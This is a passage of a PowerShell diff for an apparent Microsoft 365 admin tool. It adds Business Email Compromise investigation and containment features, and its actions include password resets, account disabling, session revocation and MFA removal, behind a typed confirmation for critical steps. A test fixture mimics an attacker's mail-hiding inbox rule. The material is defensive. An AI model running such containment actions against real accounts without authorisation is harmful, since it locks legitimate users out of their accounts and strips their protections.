$AllResults.Add($PasswordResult) - } catch { - $AllResults.Add([pscustomobject]@{ - resultText = "Failed to reset password: $($_.Exception.Message)" - state = 'error' - }) - } - - # Step 2: Disable Account - $Step = 'Disable Account' - try { - $DisableResult = Set-CIPPSignInState -userid $Username -AccountEnabled $false -tenantFilter $TenantFilter -APIName $APIName -Headers $Headers - $AllResults.Add([pscustomobject]@{ - resultText = $DisableResult - state = if ($DisableResult -like '*WARNING*') { 'warning' } else { 'success' } - }) - } catch { - $AllResults.Add([pscustomobject]@{ - resultText = "Failed to disable account: $($_.Exception.Message)" - state = 'error' - }) - } - - # Step 3: Revoke Sessions - $Step = 'Revoke Sessions' - try { - $SessionResult = Revoke-CIPPSessions -userid $SuspectUser -username $Username -Headers $Headers -APIName $APIName -tenantFilter $TenantFilter - $AllResults.Add([pscustomobject]@{ - resultText = $SessionResult - state = if ($SessionResult -like '*Failed*') { 'error' } else { 'success' } - }) - } catch { - $AllResults.Add([pscustomobject]@{ - resultText = "Failed to revoke sessions: $($_.Exception.Message)" - state = 'error' - }) + if (-not $TenantFilter) { throw 'tenantFilter is required' } + if (-not $Username) { + if (-not $SuspectUser) { throw 'username or userid is required' } + $Username = (New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/users/$SuspectUser?`$select=userPrincipalName" -tenantid $TenantFilter -AsApp $true).userPrincipalName } - # Step 4: Remove MFA methods - $Step = 'Remove MFA methods' - try { - $MFAResult = Remove-CIPPUserMFA -UserPrincipalName $Username -TenantFilter $TenantFilter -Headers $Headers - $AllResults.Add([pscustomobject]@{ - resultText = $MFAResult - state = if ($MFAResult -like '*No MFA methods*') { 'info' } elseif ($MFAResult -like '*Successfully*') { 'success' } else { 'error' } - }) - } catch { - $AllResults.Add([pscustomobject]@{ - resultText = "Failed to remove MFA methods: $($_.Exception.Message)" - state = 'error' - }) + $Catalog = Get-CIPPBecContainmentActions + $Selected = if ($Actions.Count -eq 0) { @($Catalog | Where-Object { $_.DefaultSelected }) } else { @($Catalog | Where-Object { $_.Id -in $Actions }) } + $Unknown = @($Actions | Where-Object { $_ -notin $Catalog.Id }) + if ($Unknown.Count -gt 0) { throw "Unknown containment action(s): $($Unknown -join ', ')" } + $Critical = @($Selected | Where-Object { $_.Impact -eq 'Critical' }) + $ConfirmationOk = $Confirmation -and ($Confirmation.Trim() -ieq $Username.Trim()) + if ($Critical.Count -gt 0 -and -not $ConfirmationOk) { + $StatusCode = [HttpStatusCode]::BadRequest + throw "Type the user's UPN ($Username) to confirm: the selected actions include Critical changes ($($Critical.Label -join ', '))" } - # Step 5: Disable Inbox Rules - $Step = 'Disable Inbox Rules' - try { - Write-LogMessage -headers $Headers -API $APIName -message "Starting inbox rules processing for user: $Username" -Sev 'Info' -tenant $TenantFilter - $Rules = New-ExoRequest -anchor $Username -tenantid $TenantFilter -cmdlet 'Get-InboxRule' -cmdParams @{Mailbox = $Username; IncludeHidden = $true } - Write-LogMessage -headers $Headers -API $APIName -message "Retrieved $(($Rules | Measure-Object).Count) total rules for $Username" -Sev 'Info' -tenant $TenantFilter - $RuleDisabled = 0 - $RuleFailed = 0 - $DelegateRulesSkipped = 0 - $RuleMessages = [System.Collections.Generic.List[string]]::new() - - if (($Rules | Measure-Object).Count -eq 0) { - # No rules exist at all - $AllResults.Add([pscustomobject]@{ - resultText = "No Inbox Rules found for $Username." - state = 'info' - }) - } else { - # Rules exist, filter and process them - $ProcessableRules = $Rules | Where-Object { - $_.Name -ne 'Junk E-Mail Rule' -and - $_.Name -notlike 'Microsoft.Exchange.OOF.*' - } - - if (($ProcessableRules | Measure-Object).Count -eq 0) { - # Rules exist but none are processable after filtering - $SystemRulesCount = ($Rules | Measure-Object).Count - $DelegateRulesSkipped - if ($SystemRulesCount -gt 0) { - $AllResults.Add([pscustomobject]@{ - resultText = "Found $(($Rules | Measure-Object).Count) inbox rules for $Username, but none require disabling (only system rules found)." - state = 'info' - }) - } - } else { - # Process the filterable rules - $ProcessableRules | ForEach-Object { - $CurrentRule = $_ - Write-LogMessage -headers $Headers -API $APIName -message "Processing rule: Name='$($CurrentRule.Name)', Identity='$($CurrentRule.Identity)'" -Sev 'Info' -tenant $TenantFilter - - try { - Set-CIPPMailboxRule -Username $Username -UserId $Username -TenantFilter $TenantFilter -RuleId $CurrentRule.Identity -RuleName $CurrentRule.Name -Disable -APIName $APIName -Headers $Headers - - Write-LogMessage -headers $Headers -API $APIName -message "Successfully disabled rule: $($CurrentRule.Name)" -Sev 'Info' -tenant $TenantFilter - $RuleDisabled++ - } catch { - # Check if this is a system delegate rule, if so we can ignore the error - if ($CurrentRule.Name -match '^Delegate Rule -\d+$') { - Write-LogMessage -headers $Headers -API $APIName -message "Skipping delegate rule '$($CurrentRule.Name)' - unable to disable (expected behavior)" -Sev 'Info' -tenant $TenantFilter - $DelegateRulesSkipped++ - } else { - # Handle as normal error - $ErrorMsg = "Could not disable rule '$($CurrentRule.Name)': $($_.Exception.Message)" - Write-LogMessage -headers $Headers -API $APIName -message $ErrorMsg -Sev 'Error' -tenant $TenantFilter - $RuleMessages.Add($ErrorMsg) - $RuleFailed++ - } - } - } - - # Report results - if ($RuleDisabled -gt 0) { - $AllResults.Add([pscustomobject]@{ - resultText = "Successfully disabled $RuleDisabled inbox rules for $Username" - state = 'success' - }) - } elseif ($DelegateRulesSkipped -gt 0 -and $RuleDisabled -eq 0 -and $RuleFailed -eq 0) { - # Only system rules were found, report as no processable rules - $AllResults.Add([pscustomobject]@{ - resultText = "No processable inbox rules found for $Username" - state = 'info' - }) - } - - if ($RuleFailed -gt 0) { - $AllResults.Add([pscustomobject]@{ - resultText = "Failed to process $RuleFailed inbox rules for $Username" - state = 'warning' - }) - - # Add individual rule failure messages as objects - foreach ($RuleMessage in $RuleMessages) { - $AllResults.Add([pscustomobject]@{ - resultText = $RuleMessage - state = 'error' - }) - } - } - } + $RunResults = $null + if ($CaseId) { + try { + $Run = Get-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -IncludeResults + $RunResults = $Run.Results + } catch { + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "BEC run $CaseId could not be loaded for target resolution: $($_.Exception.Message)" -Sev 'Warning' } - - $TotalProcessed = $RuleDisabled + $RuleFailed + $DelegateRulesSkipped - Write-LogMessage -headers $Headers -API $APIName -message "Completed inbox rules processing for $Username. Total rules: $(($Rules | Measure-Object).Count), Processed: $TotalProcessed, Disabled: $RuleDisabled, Failed: $RuleFailed, Delegate rules skipped: $DelegateRulesSkipped" -Sev 'Info' -tenant $TenantFilter - - } catch { - $ErrorMsg = "Failed to process inbox rules: $($_.Exception.Message)" - Write-LogMessage -headers $Headers -API $APIName -message $ErrorMsg -Sev 'Error' -tenant $TenantFilter - $AllResults.Add([pscustomobject]@{ - resultText = $ErrorMsg - state = 'error' - }) } - # Step 6: Disable OneDrive Sharing - $Step = 'Disable OneDrive Sharing' - try { - $OneDriveResult = Set-CIPPOneDriveSharing -UserId $Username -TenantFilter $TenantFilter -SharingCapability 'Disabled' -APIName $APIName -Headers $Headers - $AllResults.Add([pscustomobject]@{ - resultText = $OneDriveResult - state = if ($OneDriveResult -like '*Successfully*') { 'success' } else { 'error' } - }) - } catch { - $AllResults.Add([pscustomobject]@{ - resultText = "Failed to disable OneDrive sharing: $($_.Exception.Message)" - state = 'error' - }) - } - - $StatusCode = [HttpStatusCode]::OK - Write-LogMessage -API 'BECRemediate' -tenant $TenantFilter -message "Executed Remediation for $Username" -sev 'Info' -LogData @($AllResults) - - # Return the results array - $AllResults.ToArray() - + $Rows = Invoke-CIPPBecContainment -TenantFilter $TenantFilter -UserId $SuspectUser -UserPrincipalName $Username -Actions $Actions -Parameters $Parameters -Confirmed:$ConfirmationOk -CaseId $CaseId -RunResults $RunResults -Headers $Headers -APIName $APIName + @($Rows | ForEach-Object { + $Row = [ordered]@{ resultText = $_.resultText; state = $_.state; Action = $_.Action; Target = $_.Target } + if ($_.copyField) { $Row.copyField = $_.copyField } + [pscustomobject]$Row + }) } catch { $ErrorMessage = Get-CippException -Exception $_ - $ErrorList = [System.Collections.Generic.List[object]]::new() - $ErrorList.Add([pscustomobject]@{ - resultText = "Failed to execute remediation at step '$Step'. $($ErrorMessage.NormalizedError)" - state = 'error' - }) - Write-LogMessage -API 'BECRemediate' -tenant $TenantFilter -message "Executed Remediation for $Username failed at the $Step step" -sev 'Error' -LogData $ErrorMessage - $StatusCode = [HttpStatusCode]::InternalServerError - - # Return the error array - $ErrorList.ToArray() + if ($StatusCode -eq [HttpStatusCode]::OK) { $StatusCode = [HttpStatusCode]::InternalServerError } + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "BEC containment for $Username was not executed: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + @([pscustomobject]@{ resultText = $ErrorMessage.NormalizedError; state = 'error' }) } - # Create the final response structure - $ResponseBody = [pscustomobject]@{'Results' = @($Results) } - - # Associate values to output bindings return ([HttpResponseContext]@{ StatusCode = $StatusCode - Body = $ResponseBody + Body = [pscustomobject]@{ Results = @($Results) } }) - } diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECReport.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECReport.ps1 new file mode 100644 index 0000000000..881fcb3f03 --- /dev/null +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECReport.ps1 @@ -0,0 +1,46 @@ +function Invoke-ExecBECReport { + <# + .FUNCTIONALITY + Entrypoint + .ROLE + Identity.User.ReadWrite + .SYNOPSIS + Manages a stored Business Email Compromise run. + .DESCRIPTION + Action=Delete removes a BEC run permanently: its results payload, its evidence package and the run row. Runs are otherwise kept indefinitely. + #> + [CmdletBinding()] + param($Request, $TriggerMetadata) + + $APIName = $Request.Params.CIPPEndpoint + $Headers = $Request.Headers + $TenantFilter = $Request.Body.tenantFilter + # Currently only Delete + $Action = [string]$Request.Body.Action + $CaseId = [string]$Request.Body.caseId + + try { + if (-not $CaseId) { throw 'caseId is required' } + switch ($Action) { + 'Delete' { + $Result = Remove-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Deleted BEC run $CaseId" -Sev 'Info' + $Body = @{ Results = $Result } + $StatusCode = [HttpStatusCode]::OK + } + default { + throw "Unknown action '$Action'" + } + } + } catch { + $ErrorMessage = Get-CippException -Exception $_ + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "BEC run action '$Action' failed for $CaseId`: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + $Body = @{ Results = "Failed: $($ErrorMessage.NormalizedError)" } + $StatusCode = [HttpStatusCode]::InternalServerError + } + + return ([HttpResponseContext]@{ + StatusCode = $StatusCode + Body = $Body + }) +} diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECEvidence.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECEvidence.ps1 new file mode 100644 index 0000000000..96763b8d56 --- /dev/null +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECEvidence.ps1 @@ -0,0 +1,62 @@ +function Invoke-ListBECEvidence { + <# + .FUNCTIONALITY + Entrypoint + .ROLE + Identity.User.Read + .SYNOPSIS + Builds and downloads the evidence package of a Business Email Compromise run. + .DESCRIPTION + With download=true, collates the run's stored results, containment history and case logbook into a fresh ZIP with a SHA-256 manifest and streams it as application/zip; nothing is stored - the export is recorded on the run (hash, time, size) so the download can be verified later. This path cannot include the PDF report, which only the browser can render; ExecBECEvidenceExport accepts one. Without download=true the run's recorded exports are returned instead. + #> + [CmdletBinding()] + param($Request, $TriggerMetadata) + + $APIName = $Request.Params.CIPPEndpoint + $Headers = $Request.Headers + $TenantFilter = $Request.Query.tenantFilter + $CaseId = [string]$Request.Query.caseId + # true builds and streams the ZIP; otherwise the run's recorded exports are returned + $Download = $Request.Query.download -eq $true + + try { + if (-not $TenantFilter -or -not $CaseId) { throw 'tenantFilter and caseId are required' } + if (-not $Download) { + $Run = Get-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId + if (-not $Run) { throw "BEC run $CaseId was not found for $TenantFilter" } + return ([HttpResponseContext]@{ + StatusCode = [HttpStatusCode]::OK + Body = [pscustomobject]@{ + CaseId = $CaseId + EvidenceSha256 = $Run.EvidenceSha256 + EvidenceCreatedAt = $Run.EvidenceCreatedAt + EvidenceBytes = $Run.EvidenceBytes + Exports = @($Run.EvidenceExports) + } + }) + } + Set-CippBecCaseContext -CaseId $CaseId + try { + $Package = New-CIPPBecEvidencePackage -TenantFilter $TenantFilter -CaseId $CaseId -Headers $Headers -APIName $APIName + } finally { + Set-CippBecCaseContext -CaseId $null + } + # Stream the raw bytes (Craft streams a byte[] Body verbatim); Content-Disposition names the + # file for the browser so it saves as the case, not the endpoint name. This server path cannot + # include the report PDFs - only the browser can render those, so use ExecBECEvidenceExport for + # a package with the report. + $FileName = "BEC_Evidence_$($CaseId -replace '[^A-Za-z0-9._-]+', '_').zip" + return ([HttpResponseContext]@{ + StatusCode = [HttpStatusCode]::OK + ContentType = 'application/zip' + Headers = @{ 'Content-Disposition' = "attachment; filename=`"$FileName`"" } + Body = [byte[]]$Package.ZipBytes + }) + } catch { + $ErrorMessage = Get-CippException -Exception $_ + return ([HttpResponseContext]@{ + StatusCode = [HttpStatusCode]::InternalServerError + Body = @{ Results = "Evidence download failed: $($ErrorMessage.NormalizedError)" } + }) + } +} diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECPhishingSpread.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECPhishingSpread.ps1 new file mode 100644 index 0000000000..8bc7be1605 --- /dev/null +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECPhishingSpread.ps1 @@ -0,0 +1,81 @@ +function Invoke-ListBECPhishingSpread { + <# + .FUNCTIONALITY + Entrypoint + .ROLE + Identity.User.Read + .SYNOPSIS + Lists who else received mail from a sender, from message-trace metadata. + .DESCRIPTION + Given a sender address (and optionally a subject fragment), walks the message trace for the last N days and groups the recipients: address, internal or external, message count, first and last delivery and the subjects seen. Use it to find the spread of a phishing message from a compromised or look-alike sender. Metadata only - no message content is read. + #> + [CmdletBinding()] + param($Request, $TriggerMetadata) + + $TenantFilter = $Request.Query.tenantFilter + # the sender to trace + $SenderAddress = [string]$Request.Query.sender + # optional subject fragment to narrow the trace (case-insensitive contains) + $Subject = [string]$Request.Query.subject + # look-back in days (1-90) + $Days = [int]($Request.Query.days ?? 7) + if ($Days -lt 1) { $Days = 1 } + if ($Days -gt 90) { $Days = 90 } + + try { + if (-not $SenderAddress) { throw 'sender is required' } + $Heuristics = Get-CIPPBecHeuristics + $End = (Get-Date).ToUniversalTime() + $Start = $End.AddDays(-$Days) + $Accepted = @() + try { $Accepted = @((New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-AcceptedDomain').DomainName | Where-Object { $_ } | ForEach-Object { ([string]$_).ToLowerInvariant() }) } catch { $Accepted = @() } + + # Trace V2 takes at most 10 days per query; walk the range in 10-day windows, newest first. + $Rows = [System.Collections.Generic.List[object]]::new() + $Complete = $true + $WindowEnd = $End + while ($WindowEnd -gt $Start) { + $WindowStart = $WindowEnd.AddDays(-10) + if ($WindowStart -lt $Start) { $WindowStart = $Start } + $Trace = Get-CIPPBecMessageTrace -TenantFilter $TenantFilter -SenderAddress $SenderAddress -StartDate $WindowStart -EndDate $WindowEnd -MaxPages ([int]($Heuristics.caps.messageTracePages ?? 5)) + foreach ($Row in $Trace.Rows) { $Rows.Add($Row) } + if (-not $Trace.Complete) { $Complete = $false } + $WindowEnd = $WindowStart + } + if ($Subject) { $Rows = [System.Collections.Generic.List[object]]@($Rows | Where-Object { [string]$_.Subject -like "*$Subject*" }) } + + $Recipients = @($Rows | Where-Object { $_.RecipientAddress } | Group-Object -Property { ([string]$_.RecipientAddress).ToLowerInvariant() } | ForEach-Object { + $Times = @($_.Group | ForEach-Object { try { ([datetime]$_.Received).ToUniversalTime() } catch { $null } } | Where-Object { $_ } | Sort-Object) + $Domain = ($_.Name -split '@')[-1] + [pscustomobject]@{ + Recipient = $_.Name + Internal = ($Accepted.Count -gt 0 -and $Domain -in $Accepted) + MessageCount = @($_.Group.MessageTraceId | Select-Object -Unique).Count + FirstReceived = if ($Times.Count -gt 0) { $Times[0].ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + LastReceived = if ($Times.Count -gt 0) { $Times[-1].ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + Statuses = (@($_.Group.Status | Where-Object { $_ } | Select-Object -Unique) -join ', ') + Subjects = (@($_.Group.Subject | Where-Object { $_ } | Select-Object -Unique | Select-Object -First 3) -join ' | ') + } + } | Sort-Object -Property @{ Expression = { $_.Internal }; Descending = $true }, Recipient) + + $Body = [pscustomobject]@{ + Sender = $SenderAddress + Days = $Days + Complete = $Complete + TotalMessages = @($Rows.MessageTraceId | Select-Object -Unique).Count + Recipients = $Recipients + InternalCount = @($Recipients | Where-Object { $_.Internal }).Count + ExternalCount = @($Recipients | Where-Object { -not $_.Internal }).Count + } + $StatusCode = [HttpStatusCode]::OK + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Body = @{ Results = "Failed to trace the spread from $SenderAddress`: $($ErrorMessage.NormalizedError)" } + $StatusCode = [HttpStatusCode]::InternalServerError + } + + return ([HttpResponseContext]@{ + StatusCode = $StatusCode + Body = $Body + }) +} diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECRemediationActions.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECRemediationActions.ps1 new file mode 100644 index 0000000000..cab8786f2c --- /dev/null +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECRemediationActions.ps1 @@ -0,0 +1,29 @@ +function Invoke-ListBECRemediationActions { + <# + .FUNCTIONALITY + Entrypoint,AnyTenant + .ROLE + Identity.User.Read + .SYNOPSIS + Lists the available Business Email Compromise containment actions. + .DESCRIPTION + Returns the catalog of containment actions ExecBECRemediate accepts - id, label, description, impact (Low/Medium/High/Critical), whether it is reversible and whether it runs by default. + #> + [CmdletBinding()] + param($Request, $TriggerMetadata) + + try { + $Body = [pscustomobject]@{ + Actions = @(Get-CIPPBecContainmentActions | Select-Object Id, Label, Description, Impact, Reversible, DefaultSelected, Order, TargetSource, ParameterName) + } + $StatusCode = [HttpStatusCode]::OK + } catch { + $Body = @{ Results = "Failed to list containment actions: $($_.Exception.Message)" } + $StatusCode = [HttpStatusCode]::InternalServerError + } + + return ([HttpResponseContext]@{ + StatusCode = $StatusCode + Body = $Body + }) +} diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECReports.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECReports.ps1 new file mode 100644 index 0000000000..ef03c164a0 --- /dev/null +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECReports.ps1 @@ -0,0 +1,56 @@ +function Invoke-ListBECReports { + <# + .FUNCTIONALITY + Entrypoint,AnyTenant + .ROLE + Identity.User.Read + .SYNOPSIS + Lists Business Email Compromise runs. + .DESCRIPTION + Lists every stored BEC run (case id, user, scope, status, threat level and score, when it was extracted, who requested it, whether evidence was exported) for a tenant, or for every tenant with tenantFilter=AllTenants. Optionally narrowed to one user with userId. Runs are kept until deleted; this list never reads the result payloads. + #> + [CmdletBinding()] + param($Request, $TriggerMetadata) + + $TenantFilter = $Request.Query.tenantFilter ?? 'AllTenants' + # Narrow the list to one user's run history + $UserId = $Request.Query.userId + + try { + $Params = @{ TenantFilter = $TenantFilter } + if ($UserId) { $Params.UserId = $UserId } + $Runs = @(Get-CIPPBecReport @Params) + $Body = @($Runs | ForEach-Object { + [pscustomobject]@{ + CaseId = $_.CaseId + Tenant = $_.Tenant + UserId = $_.UserId + UserPrincipalName = $_.UserPrincipalName + DisplayName = $_.DisplayName + Status = $_.Status + Scope = $_.Scope + Level = $_.Level + Score = $_.Score + IncompleteCount = $_.IncompleteCount + ExtractedAt = $_.ExtractedAt + RequestedAt = $_.RequestedAt + RequestedBy = $_.RequestedBy + ErrorMessage = $_.ErrorMessage + ContainmentRuns = @($_.Containment).Count + HasEvidence = [bool]$_.EvidenceSha256 + EvidenceSha256 = $_.EvidenceSha256 + EvidenceCreatedAt = $_.EvidenceCreatedAt + } + }) + $StatusCode = [HttpStatusCode]::OK + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Body = @{ Results = "Failed to list BEC runs: $($ErrorMessage.NormalizedError)" } + $StatusCode = [HttpStatusCode]::InternalServerError + } + + return ([HttpResponseContext]@{ + StatusCode = $StatusCode + Body = $Body + }) +} diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-AddAlert.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-AddAlert.ps1 index fac3cedb5a..72da0a246d 100644 --- a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-AddAlert.ps1 +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-AddAlert.ps1 @@ -36,12 +36,15 @@ function Invoke-AddAlert { $TenantsJson = $Tenants | ConvertTo-Json -Compress -Depth 10 | Out-String $excludedTenantsJson = $Request.Body.excludedTenants | ConvertTo-Json -Compress -Depth 10 | Out-String $Actions = $Request.Body.actions | ConvertTo-Json -Compress -Depth 10 | Out-String + # Which containment actions the 'becremediate' action runs (ListBECRemediationActions ids); empty = the default six. + $BecActions = @($Request.Body.becActions | ForEach-Object { if ($_ -and $_.PSObject.Properties['value']) { $_.value } else { $_ } } | Where-Object { $_ }) $RowKey = $Request.Body.RowKey ? $Request.Body.RowKey : (New-Guid).ToString() $CompleteObject = @{ Tenants = [string]$TenantsJson excludedTenants = [string]$excludedTenantsJson Conditions = [string]$Conditions Actions = [string]$Actions + BecActions = [string](ConvertTo-Json -InputObject $BecActions -Compress -Depth 5) type = $Request.Body.logbook.value RowKey = $RowKey PartitionKey = 'Webhookv2' diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-ListAlertsQueue.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-ListAlertsQueue.ps1 index c00ca34093..061670ef64 100644 --- a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-ListAlertsQueue.ps1 +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Tenant/Administration/Alerts/Invoke-ListAlertsQueue.ps1 @@ -40,6 +40,7 @@ function Invoke-ListAlertsQueue { RawAlert = @{ Conditions = @($Conditions) Actions = @($($Task.Actions | ConvertFrom-Json -Depth 10 -ErrorAction SilentlyContinue)) + BecActions = @($($Task.BecActions | ConvertFrom-Json -Depth 10 -ErrorAction SilentlyContinue) | Where-Object { $_ }) Tenants = @($Tenants) type = $Task.type RowKey = $Task.RowKey diff --git a/backend/Tests/ActivityTriggers/Push-BECRun.Tests.ps1 b/backend/Tests/ActivityTriggers/Push-BECRun.Tests.ps1 new file mode 100644 index 0000000000..51e65fefda --- /dev/null +++ b/backend/Tests/ActivityTriggers/Push-BECRun.Tests.ps1 @@ -0,0 +1,292 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + $script:OriginalRoot = $env:CIPPRootPath + # The shipped heuristics and malicious-app catalog are read through $env:CIPPRootPath. + $env:CIPPRootPath = $RepoRoot + + # Platform helpers the run calls; each is a stub so Mock has something to replace. + function New-ExoRequest { param($tenantid, $cmdlet, $cmdParams, $Anchor, $Select, $useSystemMailbox, $NoAuthCheck, [switch]$Compliance, $ApiVersion, [switch]$AsApp) } + function New-GraphGetRequest { param($uri, $tenantid, $AsApp, $noPagination, $scope, $ComplexFilter, $NoAuthCheck, [switch]$verbose) } + function New-GraphBulkRequest { param($Requests, $tenantid, $asapp, $NoAuthCheck, $scope, $NoPaginateIds, $Version, $Headers) } + function Get-CIPPGeoIPLocationBatch { param([string[]]$IPs) } + function Write-LogMessage { param($message, $tenant, $API, $tenantId, $headers, $user, $sev, $LogData) } + function Get-CippException { param($Exception) [pscustomobject]@{ NormalizedError = [string]$Exception.Exception.Message } } + function Get-NormalizedError { param($message) $message } + function Set-CippBecCaseContext { param($CaseId) } + function Set-CIPPBecReport { param($TenantFilter, $CaseId, $Properties, $Results, [switch]$Replace) } + # Live progress (the async-deployment rows the page polls) + function Get-CIPPAsyncDeployment { param($JobId) } + function New-CIPPAsyncDeployment { param($JobId, $Names, $StepTitles, $Source) $JobId } + function Set-CIPPAsyncDeploymentStatus { param($JobId, $Name, $Status, $Logs) } + function Set-CIPPAsyncDeploymentStep { param($JobId, $Name, $StepIndex, $StepStatus, $Message) } + function Search-CIPPBecAuditLog { param($TenantFilter, $StartDate, $EndDate, $Operations, $UserIds, $RecordType, $ObjectIds, $Anchor, $PageSize, $MaxPages) } + function Get-CIPPBecMessageTrace { param($TenantFilter, $SenderAddress, $RecipientAddress, $StartDate, $EndDate, $Anchor, $PageSize, $MaxPages) } + # Full-scope collectors + function Get-CIPPBecMailboxInventory { param($TenantFilter, $UserPrincipalName, $Heuristics, $AcceptedDomains) } + function Get-CIPPBecUserGrants { param($TenantFilter, $UserId, $Heuristics, $RogueAppFeed) } + function Get-CIPPBecTransportRules { param($TenantFilter, $StartDate, $EndDate, $Heuristics, $Anchor) } + function Get-CIPPBecReceivedMailFindings { param($TenantFilter, $UserPrincipalName, $StartDate, $EndDate, $Heuristics, $AcceptedDomains, $Anchor, [switch]$IncludeDefender) } + function Get-CIPPBecDirectoryAudits { param($TenantFilter, $UserId, $StartDate, $Heuristics, $Cap) } + function Get-CIPPBecRegisteredDevices { param($TenantFilter, $UserId, $StartDate) } + function Get-CIPPBecNonInteractiveSignIns { param($TenantFilter, $UserId, $UsageLocation, $Top) } + function Get-CIPPBecMailActivity { param($TenantFilter, $UserPrincipalName, $StartDate, $EndDate, $Heuristics, $Anchor) } + function Get-CIPPBecRiskState { param($TenantFilter, $UserId, $StartDate, $Cap) } + + # Real pieces under test alongside the run + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecScore.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecErrorInfo.ps1') + $FunctionPath = Get-ChildItem -Path (Join-Path $RepoRoot 'Modules') -Recurse -Filter 'Push-BECRun.ps1' | Select-Object -First 1 + . $FunctionPath.FullName + + function Empty { New-CIPPBecCollectorResult -Data @() } + $script:Item = @{ TenantFilter = 'contoso.com'; UserID = 'user-guid'; userName = 'victim@contoso.com'; CaseId = 'BEC-20260820120000-test01' } +} + +AfterAll { + $env:CIPPRootPath = $script:OriginalRoot +} + +Describe 'Push-BECRun' { + BeforeEach { + $script:Saved = $null + # the last write wins: the run writes Running first, then Completed or Error + Mock Set-CIPPBecReport { $script:Saved = @{ TenantFilter = $TenantFilter; CaseId = $CaseId; Properties = $Properties; Results = $Results } } + $script:StepCalls = [System.Collections.Generic.List[object]]::new() + Mock Set-CIPPAsyncDeploymentStep { $script:StepCalls.Add(@{ JobId = $JobId; Name = $Name; Index = $StepIndex; Status = $StepStatus; Message = $Message }) } + $script:StatusCalls = [System.Collections.Generic.List[object]]::new() + Mock Set-CIPPAsyncDeploymentStatus { $script:StatusCalls.Add(@{ JobId = $JobId; Name = $Name; Status = $Status; Logs = $Logs }) } + Mock Get-CIPPAsyncDeployment { @() } + Mock New-CIPPAsyncDeployment { $JobId } + Mock Write-LogMessage { } + Mock Set-CippBecCaseContext { } + Mock Get-CIPPGeoIPLocationBatch { @{ '203.0.113.10' = [pscustomobject]@{ CountryOrRegion = 'NG'; City = 'Lagos' } } } + Mock New-ExoRequest { + switch ($cmdlet) { + 'Get-AdminAuditLogConfig' { [pscustomobject]@{ UnifiedAuditLogIngestionEnabled = $true } } + 'Get-InboxRule' { [pscustomobject]@{ Name = 'Hide invoices'; Identity = 'r1'; Enabled = $true; MoveToFolder = 'RSS Feeds'; MarkAsRead = $true; Description = 'x' }, [pscustomobject]@{ Name = 'Junk E-Mail Rule'; Identity = 'junk' } } + 'Get-MailboxJunkEmailConfiguration' { [pscustomobject]@{ 